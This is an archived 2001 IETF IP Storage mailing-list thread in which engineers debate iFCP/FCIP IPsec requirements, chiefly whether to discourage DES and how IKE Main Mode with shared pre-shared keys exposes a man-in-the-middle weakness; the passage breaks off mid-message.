7 Sep 2001 16:03:32 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <277DD60FB639D511AC0400B0D068B71ECAD71E@CORPMX14> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit This gets back to usage. So our standard is going to have statements saying what a user should do ??? Isn't that the purpose of a site security policy, not an IETF RFC ??? Bill -----Original Message----- From: Black_David@emc.com [mailto:Black_David@emc.com] Sent: Friday, September 07, 2001 3:23 PM To: bill@Sanera.net; ips@ece.cmu.edu Subject: RE: iFCP: security position Bill's DES issue goes away if the DES requirements language is "SHOULD NOT use". A facility that insists on using DES has been more than adequately warned by the "SHOULD NOT". --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: Bill Strahm [mailto:bill@sanera.net] > Sent: Friday, September 07, 2001 6:17 PM > To: Franco Travostino; ips@ece.cmu.edu > Subject: RE: iFCP: security position > > > This is going to be very interseting... How do you plan on > using standard > IPsec clients that have DES as MUST implement when your > application that > sits above it has a MUST NOT implement requirement. This > would be like > having a protocol that tells layer 3 that it MUST run over > Token Ring, but > MUST NOT run over Ethernet. > > These are all policy issues that can be solved by having the end users > implement appropriate policies, not by standards organizations > > Bill > Sanera Systems Inc. > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Franco Travostino > Sent: Friday, September 07, 2001 1:31 PM > To: ips@ece.cmu.edu > Subject: iFCP: security position > > > > After the interim meeting, we restate our security coordinates in the > following terms. Additionally, we have expanded our Irvine slides with > rationale text and insights that we learnt at the interim > meeting. Such > amended slide set is available at > ftp://standards.nortelnetworks.com/san/ifcp_security_requireme nts-v2.pdf Comments most welcome. Keying: IKE Pre-shared keys: MUST implement Signature key authentication: MAY implement Phase-1/Main Mode: MUST implement Phase-1/Aggressive Mode: MAY implement Phase-2/Quick Mode: MUST implement Phase-2/Quick Mode + KE payload: MUST implement Identities are IP addresses in all Phase-1/Phase-2 Modes Integrity MAC: HMAC-SHA1: MUST implement AES (X)CBC MAC: SHOULD implement* Encryption: 3DES CBC: MUST implement AES CTR: SHOULD implement* DES: SHOULD NOT implement NULL: MUST implement Encapsulation Style: Tunnel Mode. (*) IFF there is a Proposed Standard RFC that we can cite by the time we hit Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as justified in the slides). -franco iFCP Technical Coordinator Franco Travostino, Director Content Internetworking Lab Advanced Technology Investments Nortel Networks, Inc. 600 Technology Park Billerica, MA 01821 USA Tel: 978 288 7708 Fax: 978 288 4690 email: travos@nortelnetworks.com From owner-ips@ece.cmu.edu Fri Sep 7 20:20:29 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02165 for ; Fri, 7 Sep 2001 20:20:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87NIQ728501 for ips-outgoing; Fri, 7 Sep 2001 19:18:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zcars0m9.ca.nortel.com (h157s242a129n47.user.nortelnetworks.com [47.129.242.157]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87NIKP28496 for ; Fri, 7 Sep 2001 19:18:24 -0400 (EDT) Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56]) by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f87NHmp22250 for ; Fri, 7 Sep 2001 19:17:48 -0400 (EDT) Received: from zcard00m.ca.nortel.com by zcars04e.ca.nortel.com; Fri, 7 Sep 2001 19:18:12 -0400 Received: from zbl6c002.corpeast.baynetworks.com ([132.245.205.52]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id S3343P0B; Fri, 7 Sep 2001 19:18:09 -0400 Received: from travos.nortelnetworks.com (CSE-NS-LAPTOP [47.16.69.109]) by zbl6c002.corpeast.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RS891ZZX; Fri, 7 Sep 2001 19:18:08 -0400 Message-Id: <5.0.2.1.2.20010907192713.039a8b70@zbl6c002.corpeast.baynetworks.com> X-Sender: travos@zbl6c002.corpeast.baynetworks.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 07 Sep 2001 19:34:42 -0400 To: Robert Snively , "'Bill Strahm'" , ips@ece.cmu.edu From: "Franco Travostino" Subject: RE: iFCP: security position In-Reply-To: Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_37703050==_.ALT" X-Orig: Sender: owner-ips@ece.cmu.edu Precedence: bulk --=====================_37703050==_.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed At 06:57 PM 9/7/2001, Robert Snively wrote: >If I understood their summary correctly, it was a SHOULD NOT >implement DES. That seems like an adequate warning without >creating a double bind. What I think it means is that a DES-only >device will not be compliant. Did I get that right? Yes. In addition to that ... I will note that the "WG chair exercised his prerogative to exclude DES from consideration" (from the interim meeting security minutes posted on Aug 30). Since this makes practical good sense in an iFCP environment as well, we will comply with whatever verbiage is appropriate and correct wrt to IPS and IPsec WG jurisdictions. As long as we don't see DES-encrypted storage traffic ever ... -franco >Bob > > > -----Original Message----- > > From: Bill Strahm [mailto:bill@sanera.net] > > Sent: Friday, September 07, 2001 3:17 PM > > To: Franco Travostino; ips@ece.cmu.edu > > Subject: RE: iFCP: security position > > > > > > This is going to be very interseting... How do you plan on > > using standard > > IPsec clients that have DES as MUST implement when your > > application that > > sits above it has a MUST NOT implement requirement. This > > would be like > > having a protocol that tells layer 3 that it MUST run over > > Token Ring, but > > MUST NOT run over Ethernet. > > > > These are all policy issues that can be solved by having the end users > > implement appropriate policies, not by standards organizations > > > > Bill > > Sanera Systems Inc. > > -----Original Message----- > > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > > Franco Travostino > > Sent: Friday, September 07, 2001 1:31 PM > > To: ips@ece.cmu.edu > > Subject: iFCP: security position > > > > > > > > After the interim meeting, we restate our security coordinates in the > > following terms. Additionally, we have expanded our Irvine slides with > > rationale text and insights that we learnt at the interim > > meeting. Such > > amended slide set is available at > > ftp://standards.nortelnetworks.com/san/ifcp_security_requireme >nts-v2.pdf >Comments most welcome. > >Keying: IKE >Pre-shared keys: MUST implement >Signature key authentication: MAY implement >Phase-1/Main Mode: MUST implement >Phase-1/Aggressive Mode: MAY implement >Phase-2/Quick Mode: MUST implement >Phase-2/Quick Mode + KE payload: MUST implement >Identities are IP addresses in all Phase-1/Phase-2 Modes > > >Integrity MAC: >HMAC-SHA1: MUST implement >AES (X)CBC MAC: SHOULD implement* > > >Encryption: >3DES CBC: MUST implement >AES CTR: SHOULD implement* >DES: SHOULD NOT implement >NULL: MUST implement > > >Encapsulation Style: >Tunnel Mode. > > >(*) IFF there is a Proposed Standard RFC that we can cite by the time we hit >Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as justified in >the slides). > >-franco >iFCP Technical Coordinator > > > >Franco Travostino, Director Content Internetworking Lab >Advanced Technology Investments >Nortel Networks, Inc. >600 Technology Park >Billerica, MA 01821 USA >Tel: 978 288 7708 Fax: 978 288 4690 >email: travos@nortelnetworks.com --=====================_37703050==_.ALT Content-Type: text/html; charset="us-ascii" At 06:57 PM 9/7/2001, Robert Snively wrote:

If I understood their summary correctly, it was a SHOULD NOT
implement DES.  That seems like an adequate warning without
creating a double bind.  What I think it means is that a DES-only
device will not be compliant.  Did I get that right?

Yes. In addition to that ... I will note that the "WG chair exercised his prerogative to exclude DES from consideration" (from the interim meeting security minutes posted on Aug 30). Since this makes practical good sense in an iFCP environment as well, we will comply with whatever verbiage is appropriate and correct wrt to IPS and IPsec WG jurisdictions. As long as we don't see DES-encrypted storage traffic ever ...

-franco


Bob

> -----Original Message-----
> From: Bill Strahm [mailto:bill@sanera.net]
> Sent: Friday, September 07, 2001 3:17 PM
> To: Franco Travostino; ips@ece.cmu.edu
> Subject: RE: iFCP: security position
>
>
> This is going to be very interseting... How do you plan on
> using standard
> IPsec clients that have DES as MUST implement when your
> application that
> sits above it has a MUST NOT implement requirement.  This
> would be like
> having a protocol that tells layer 3 that it MUST run over
> Token Ring, but
> MUST NOT run over Ethernet.
>
> These are all policy issues that can be solved by having the end users
> implement appropriate policies, not by standards organizations
>
> Bill
> Sanera Systems Inc.
> -----Original Message-----
> From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of
> Franco Travostino
> Sent: Friday, September 07, 2001 1:31 PM
> To: ips@ece.cmu.edu
> Subject: iFCP: security position
>
>
>
> After the interim meeting, we restate our security coordinates in the
> following terms. Additionally, we have expanded our Irvine slides with
> rationale text and insights that we learnt at the interim
> meeting. Such
> amended slide set is available at
> ftp://standards.nortelnetworks.com/san/ifcp_security_requireme
nts-v2.pdf
Comments most welcome.

Keying: IKE
Pre-shared keys: MUST implement
Signature key authentication: MAY implement
Phase-1/Main Mode: MUST implement
Phase-1/Aggressive Mode: MAY implement
Phase-2/Quick Mode: MUST implement
Phase-2/Quick Mode + KE payload: MUST implement
Identities are IP addresses in all Phase-1/Phase-2 Modes


Integrity MAC:
HMAC-SHA1: MUST implement
AES (X)CBC MAC: SHOULD implement*


Encryption:
3DES CBC: MUST implement
AES CTR: SHOULD implement*
DES: SHOULD NOT implement
NULL: MUST implement


Encapsulation Style:
Tunnel Mode.


(*) IFF there is a Proposed Standard RFC that we can cite by the time we hit
Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as justified in
the slides).

-franco
iFCP Technical Coordinator



Franco Travostino, Director Content Internetworking Lab
Advanced Technology Investments
Nortel Networks, Inc.
600 Technology Park
Billerica, MA 01821 USA
Tel: 978 288 7708 Fax: 978 288 4690
email: travos@nortelnetworks.com
--=====================_37703050==_.ALT-- From owner-ips@ece.cmu.edu Fri Sep 7 20:36:32 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02466 for ; Fri, 7 Sep 2001 20:36:32 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87MwaJ27483 for ips-outgoing; Fri, 7 Sep 2001 18:58:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zcars0m9.ca.nortel.com (h157s242a129n47.user.nortelnetworks.com [47.129.242.157]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87MwYP27478 for ; Fri, 7 Sep 2001 18:58:35 -0400 (EDT) Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56]) by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f87Mvwp21926 for ; Fri, 7 Sep 2001 18:57:58 -0400 (EDT) Received: from zcard00m.ca.nortel.com by zcars04e.ca.nortel.com; Fri, 7 Sep 2001 18:58:23 -0400 Received: from zbl6c002.corpeast.baynetworks.com ([132.245.205.52]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id S334334A; Fri, 7 Sep 2001 18:58:20 -0400 Received: from travos.nortelnetworks.com (CSE-NS-LAPTOP [47.16.69.109]) by zbl6c002.corpeast.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RS891ZZQ; Fri, 7 Sep 2001 18:58:20 -0400 Message-Id: <5.0.2.1.2.20010907181401.03970ec0@zbl6c002.corpeast.baynetworks.com> X-Sender: travos@zbl6c002.corpeast.baynetworks.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 07 Sep 2001 19:14:54 -0400 To: Black_David@emc.com, ips@ece.cmu.edu From: "Franco Travostino" Subject: Re: FCIP and iFCP Keying Problem In-Reply-To: Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_36514855==_.ALT" X-Orig: Sender: owner-ips@ece.cmu.edu Precedence: bulk --=====================_36514855==_.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed > >Both FCIP and iFCP intend to require: > > - IKE with pre-shared keys MUST implement > - IKE with public-key based keys MAY implement > - IKE Main Mode MUST implement > - IKE Aggressive Mode MAY implement > >That's not acceptable because the result of combining >the two mandatory (MUST) mechanisms is vulnerable to a >man-in-the-middle attack. Clarification: I realize that in the (main mode, pre-shared key) variant the endpoints' identities can only be IP addresses due to a chicken-and-egg problem (and rfc2409 confirms this). I also realize that this variant is useless in the presence of DHCP-assigned IP addresses (which is not our case, as we only work with static IP addresses). A DH is obviously vulnerable to a MIM attack, but a DH + pre-shared key intuitively shouldn't. And I don't think we worry about identities being revealed. What am I missing? (rfc2409 has single-handedly neutralized the few brain cells that I've left). -franco Franco Travostino, Director Content Internetworking Lab Advanced Technology Investments Nortel Networks, Inc. 600 Technology Park Billerica, MA 01821 USA Tel: 978 288 7708 Fax: 978 288 4690 email: travos@nortelnetworks.com --=====================_36514855==_.ALT Content-Type: text/html; charset="us-ascii"

Both FCIP and iFCP intend to require:

        - IKE with pre-shared keys MUST implement
        - IKE with public-key based keys MAY implement
        - IKE Main Mode MUST implement
        - IKE Aggressive Mode MAY implement

That's not acceptable because the result of combining
the two mandatory (MUST) mechanisms is vulnerable to a
man-in-the-middle attack.

Clarification:

I realize that in the (main mode, pre-shared key) variant the endpoints' identities can only be IP addresses due to a chicken-and-egg problem (and rfc2409 confirms this). I also realize that this variant is useless in the presence of DHCP-assigned IP addresses (which is not our case, as we only work with static IP addresses). A DH is obviously vulnerable to a MIM attack, but a DH + pre-shared key intuitively shouldn't. And I don't think we worry about identities being revealed. What am I missing? (rfc2409 has single-handedly neutralized the few brain cells that I've left).

-franco


Franco Travostino, Director Content Internetworking Lab
Advanced Technology Investments
Nortel Networks, Inc.
600 Technology Park
Billerica, MA 01821 USA
Tel: 978 288 7708 Fax: 978 288 4690
email: travos@nortelnetworks.com
--=====================_36514855==_.ALT-- From owner-ips@ece.cmu.edu Fri Sep 7 20:38:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02521 for ; Fri, 7 Sep 2001 20:38:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87ND4l28204 for ips-outgoing; Fri, 7 Sep 2001 19:13:04 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87ND3P28200 for ; Fri, 7 Sep 2001 19:13:03 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 19:12:58 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD722@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: RE: FCIP and iFCP Keying Problem Date: Fri, 7 Sep 2001 19:06:20 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Resending as I didn't see this come through - apologies if it's a duplicate. --David > -----Original Message----- > From: Black, David (MKT Hopkinton) > Sent: Friday, September 07, 2001 6:28 PM > To: Black, David (MKT Hopkinton); ips@ece.cmu.edu > Subject: RE: FCIP and iFCP Keying Problem > > > Filling in a couple of missing pieces here: > > - See Section 4.4 of draft-aboba-ips-iscsi-security-00.txt > for more details on the man-in-the-middle vulnerability. > That vulnerability is based on the use of group pre-shared > keys. > - My strong language below is based in part on an > assumption that banning group pre-shared keys is > unworkable in practice. Key management is a pain, > and use of group pre-shared keys simplifies it, even > though it has some security costs. > > Questioning the latter assumption is reasonable, but I'll > point out that group pre-shared (vs. per session pre-shared) > keys are a fact of life in current IPsec deployment/management, > and even turn up in the absence of dynamic IP address > assignment. The reason the text in my previous message > just said "pre-shared keys" rather than "group pre-shared keys" > is that there may be no way for a participant in an IKE > session to know whether the pre-shared key was shared only > among the two endpoints of the session or with other parties. > > Thanks, > --David > > > -----Original Message----- > > From: Black_David@emc.com [mailto:Black_David@emc.com] > > Sent: Friday, September 07, 2001 4:34 PM > > To: ips@ece.cmu.edu > > Subject: FCIP and iFCP Keying Problem > > Importance: High > > > > > > Both FCIP and iFCP intend to require: > > > > - IKE with pre-shared keys MUST implement > > - IKE with public-key based keys MAY implement > > - IKE Main Mode MUST implement > > - IKE Aggressive Mode MAY implement > > > > That's not acceptable because the result of combining > > the two mandatory (MUST) mechanisms is vulnerable to a > > man-in-the-middle attack. > > > > If IKE with pre-shared keys is "MUST implement" (which > > makes sense, as it's the simplest IKE authentication > > mechanism), then: > > - IKE Aggressive Mode needs to be "MUST implement" > > - Use of IKE Main Mode with pre-shared keys needs > > to be "SHOULD NOT use" or "MUST NOT use". > > Alternatively, if IKE Aggressive Mode remains "MAY implement", > > then: > > - IKE with signature authentication based on public > > keys needs to be "MUST implement" along with > > some certificate usage guidelines. > > - Pre-Shared keys needs to be "MAY implement" (can't > > be any stronger than the requirement for > > IKE Aggressive Mode). > > - Use of IKE Main Mode with pre-shared keys needs > > to be "SHOULD not use" or "MUST not use". > > > > Changing IKE to remove the Main Mode vulnerability > > with pre-shared keys is not a viable approach. > > > > Sorry, > > --David > > > > --------------------------------------------------- > > David L. Black, Senior Technologist > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > > black_david@emc.com Mobile: +1 (978) 394-7754 > > --------------------------------------------------- > > > From owner-ips@ece.cmu.edu Fri Sep 7 20:40:12 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02544 for ; Fri, 7 Sep 2001 20:40:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87NSMF29020 for ips-outgoing; Fri, 7 Sep 2001 19:28:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sentinel.sanera.net (ns1.sanera.net [208.253.254.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87NSKP29015 for ; Fri, 7 Sep 2001 19:28:20 -0400 (EDT) Received: from newton.sanera.net (newton [192.168.254.11]) by sentinel.sanera.net (8.11.2/8.11.2) with ESMTP id f87NSBO19394; Fri, 7 Sep 2001 16:28:11 -0700 Received: from strahmw2k (dhcp-pc-100-165.sanera.net [192.168.100.165]) by newton.sanera.net (8.11.4/8.11.4) with SMTP id f87NS5217799; Fri, 7 Sep 2001 16:28:05 -0700 (PDT) From: "Bill Strahm" To: "Franco Travostino" , "Robert Snively" , Subject: RE: iFCP: security position Date: Fri, 7 Sep 2001 16:27:07 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <5.0.2.1.2.20010907192713.039a8b70@zbl6c002.corpeast.baynetworks.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Why do you care how traffic is encrypted ??? Would you rather see Clear traffic than DES traffic ? These are site security policies, and we as the IETF should stay out of it. While we as a WG might raise our noses at certain algorithms, it turns out that DES is SIGNIFICANTLY better than simple clear traffic. Are we planning on putting statements saying we won't accept ENIGMA, ROT-13, etc. traffic as well ? I am willing to live with the WG chairs prerogative to not require DES as a MUST implement, because it is all ready a MUST implement in IPsec, therefore there is no reason for our WG to add additional functionality to IPsec layers. I am not willing to give in and say that there is a requirement that policies that drive the IPsec/IKE engines exclude DES in all cases (even where the admin wants to allow these protocols) Bill -----Original Message----- From: Franco Travostino [mailto:travos@nortelnetworks.com] Sent: Friday, September 07, 2001 4:35 PM To: Robert Snively; 'Bill Strahm'; ips@ece.cmu.edu Subject: RE: iFCP: security position At 06:57 PM 9/7/2001, Robert Snively wrote: If I understood their summary correctly, it was a SHOULD NOT implement DES. That seems like an adequate warning without creating a double bind. What I think it means is that a DES-only device will not be compliant. Did I get that right? Yes. In addition to that ... I will note that the "WG chair exercised his prerogative to exclude DES from consideration" (from the interim meeting security minutes posted on Aug 30). Since this makes practical good sense in an iFCP environment as well, we will comply with whatever verbiage is appropriate and correct wrt to IPS and IPsec WG jurisdictions. As long as we don't see DES-encrypted storage traffic ever ... -franco Bob > -----Original Message----- > From: Bill Strahm [mailto:bill@sanera.net] > Sent: Friday, September 07, 2001 3:17 PM > To: Franco Travostino; ips@ece.cmu.edu > Subject: RE: iFCP: security position > > > This is going to be very interseting... How do you plan on > using standard > IPsec clients that have DES as MUST implement when your > application that > sits above it has a MUST NOT implement requirement. This > would be like > having a protocol that tells layer 3 that it MUST run over > Token Ring, but > MUST NOT run over Ethernet. > > These are all policy issues that can be solved by having the end users > implement appropriate policies, not by standards organizations > > Bill > Sanera Systems Inc. > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Franco Travostino > Sent: Friday, September 07, 2001 1:31 PM > To: ips@ece.cmu.edu > Subject: iFCP: security position > > > > After the interim meeting, we restate our security coordinates in the > following terms. Additionally, we have expanded our Irvine slides with > rationale text and insights that we learnt at the interim > meeting. Such > amended slide set is available at > ftp://standards.nortelnetworks.com/san/ifcp_security_requireme nts-v2.pdf Comments most welcome. Keying: IKE Pre-shared keys: MUST implement Signature key authentication: MAY implement Phase-1/Main Mode: MUST implement Phase-1/Aggressive Mode: MAY implement Phase-2/Quick Mode: MUST implement Phase-2/Quick Mode + KE payload: MUST implement Identities are IP addresses in all Phase-1/Phase-2 Modes Integrity MAC: HMAC-SHA1: MUST implement AES (X)CBC MAC: SHOULD implement* Encryption: 3DES CBC: MUST implement AES CTR: SHOULD implement* DES: SHOULD NOT implement NULL: MUST implement Encapsulation Style: Tunnel Mode. (*) IFF there is a Proposed Standard RFC that we can cite by the time we hit Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as justified in the slides). -franco iFCP Technical Coordinator Franco Travostino, Director Content Internetworking Lab Advanced Technology Investments Nortel Networks, Inc. 600 Technology Park Billerica, MA 01821 USA Tel: 978 288 7708 Fax: 978 288 4690 email: travos@nortelnetworks.com From owner-ips@ece.cmu.edu Fri Sep 7 20:41:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02567 for ; Fri, 7 Sep 2001 20:41:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87N6m427883 for ips-outgoing; Fri, 7 Sep 2001 19:06:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sentinel.sanera.net (ns1.sanera.net [208.253.254.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87N6kP27879 for ; Fri, 7 Sep 2001 19:06:46 -0400 (EDT) Received: from newton.sanera.net (newton [192.168.254.11]) by sentinel.sanera.net (8.11.2/8.11.2) with ESMTP id f87N6fO19250; Fri, 7 Sep 2001 16:06:41 -0700 Received: from strahmw2k (dhcp-pc-100-165.sanera.net [192.168.100.165]) by newton.sanera.net (8.11.4/8.11.4) with SMTP id f87N6a216002; Fri, 7 Sep 2001 16:06:36 -0700 (PDT) From: "Bill Strahm" To: "Robert Snively" , "Franco Travostino" , Subject: RE: iFCP: security position Date: Fri, 7 Sep 2001 16:05:38 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit You are better off staying silent on DES. DES is a MUST implement protocol... I can live with adding additional requirements to IPsec (as long as they are reasonable), but contradicting current requirements seems a little out of place. When IPsec decides DES is not strong enough, they will move it from a MUST implement protocol, to a SHOULD NOT implement protocol, to a MUST NOT implement protocol (maybe not, I don't see any MUST NOT implement ROT-13 requirements) Bill -----Original Message----- From: Robert Snively [mailto:rsnively@brocade.com] Sent: Friday, September 07, 2001 3:58 PM To: 'Bill Strahm'; Franco Travostino; ips@ece.cmu.edu Subject: RE: iFCP: security position If I understood their summary correctly, it was a SHOULD NOT implement DES. That seems like an adequate warning without creating a double bind. What I think it means is that a DES-only device will not be compliant. Did I get that right? Bob > -----Original Message----- > From: Bill Strahm [mailto:bill@sanera.net] > Sent: Friday, September 07, 2001 3:17 PM > To: Franco Travostino; ips@ece.cmu.edu > Subject: RE: iFCP: security position > > > This is going to be very interseting... How do you plan on > using standard > IPsec clients that have DES as MUST implement when your > application that > sits above it has a MUST NOT implement requirement. This > would be like > having a protocol that tells layer 3 that it MUST run over > Token Ring, but > MUST NOT run over Ethernet. > > These are all policy issues that can be solved by having the end users > implement appropriate policies, not by standards organizations > > Bill > Sanera Systems Inc. > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Franco Travostino > Sent: Friday, September 07, 2001 1:31 PM > To: ips@ece.cmu.edu > Subject: iFCP: security position > > > > After the interim meeting, we restate our security coordinates in the > following terms. Additionally, we have expanded our Irvine slides with > rationale text and insights that we learnt at the interim > meeting. Such > amended slide set is available at > ftp://standards.nortelnetworks.com/san/ifcp_security_requireme nts-v2.pdf Comments most welcome. Keying: IKE Pre-shared keys: MUST implement Signature key authentication: MAY implement Phase-1/Main Mode: MUST implement Phase-1/Aggressive Mode: MAY implement Phase-2/Quick Mode: MUST implement Phase-2/Quick Mode + KE payload: MUST implement Identities are IP addresses in all Phase-1/Phase-2 Modes Integrity MAC: HMAC-SHA1: MUST implement AES (X)CBC MAC: SHOULD implement* Encryption: 3DES CBC: MUST implement AES CTR: SHOULD implement* DES: SHOULD NOT implement NULL: MUST implement Encapsulation Style: Tunnel Mode. (*) IFF there is a Proposed Standard RFC that we can cite by the time we hit Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as justified in the slides). -franco iFCP Technical Coordinator Franco Travostino, Director Content Internetworking Lab Advanced Technology Investments Nortel Networks, Inc. 600 Technology Park Billerica, MA 01821 USA Tel: 978 288 7708 Fax: 978 288 4690 email: travos@nortelnetworks.com From owner-ips@ece.cmu.edu Fri Sep 7 20:44:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02629 for ; Fri, 7 Sep 2001 20:44:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87NEd628298 for ips-outgoing; Fri, 7 Sep 2001 19:14:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87NEcP28293 for ; Fri, 7 Sep 2001 19:14:38 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 19:14:33 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD723@CORPMX14> From: Black_David@emc.com To: travos@nortelnetworks.com, ips@ece.cmu.edu Subject: RE: FCIP and iFCP Keying Problem Date: Fri, 7 Sep 2001 19:07:57 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C137F1.EE8BCD30" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C137F1.EE8BCD30 Content-Type: text/plain; charset="iso-8859-1" > I realize that in the (main mode, pre-shared key) variant > the endpoints' identities can only be IP addresses due to > a chicken-and-egg problem (and rfc2409 confirms this). > I also realize that this variant is useless in the presence > of DHCP-assigned IP addresses (which is not our case, as > we only work with static IP addresses). I'm not sure I believe the parenthetical comment about only working with static IP addresses. I suspect a "MUST NOT use DHCP-assigned IP addresses" restriction wouldn't make it through the IESG. > A DH is obviously vulnerable to a MIM attack, but a > DH + pre-shared key intuitively shouldn't. Suppose the MIM is part of the group that has the pre-shared key. The MIM attack on DH is once again possible. > And I don't think we worry about identities being revealed. I agree, otherwise I wouldn't be suggesting Aggressive Mode (which reveals identities) as a MUST. --David -----Original Message----- From: Franco Travostino [mailto:travos@nortelnetworks.com] Sent: Friday, September 07, 2001 7:15 PM To: Black_David@emc.com; ips@ece.cmu.edu Subject: Re: FCIP and 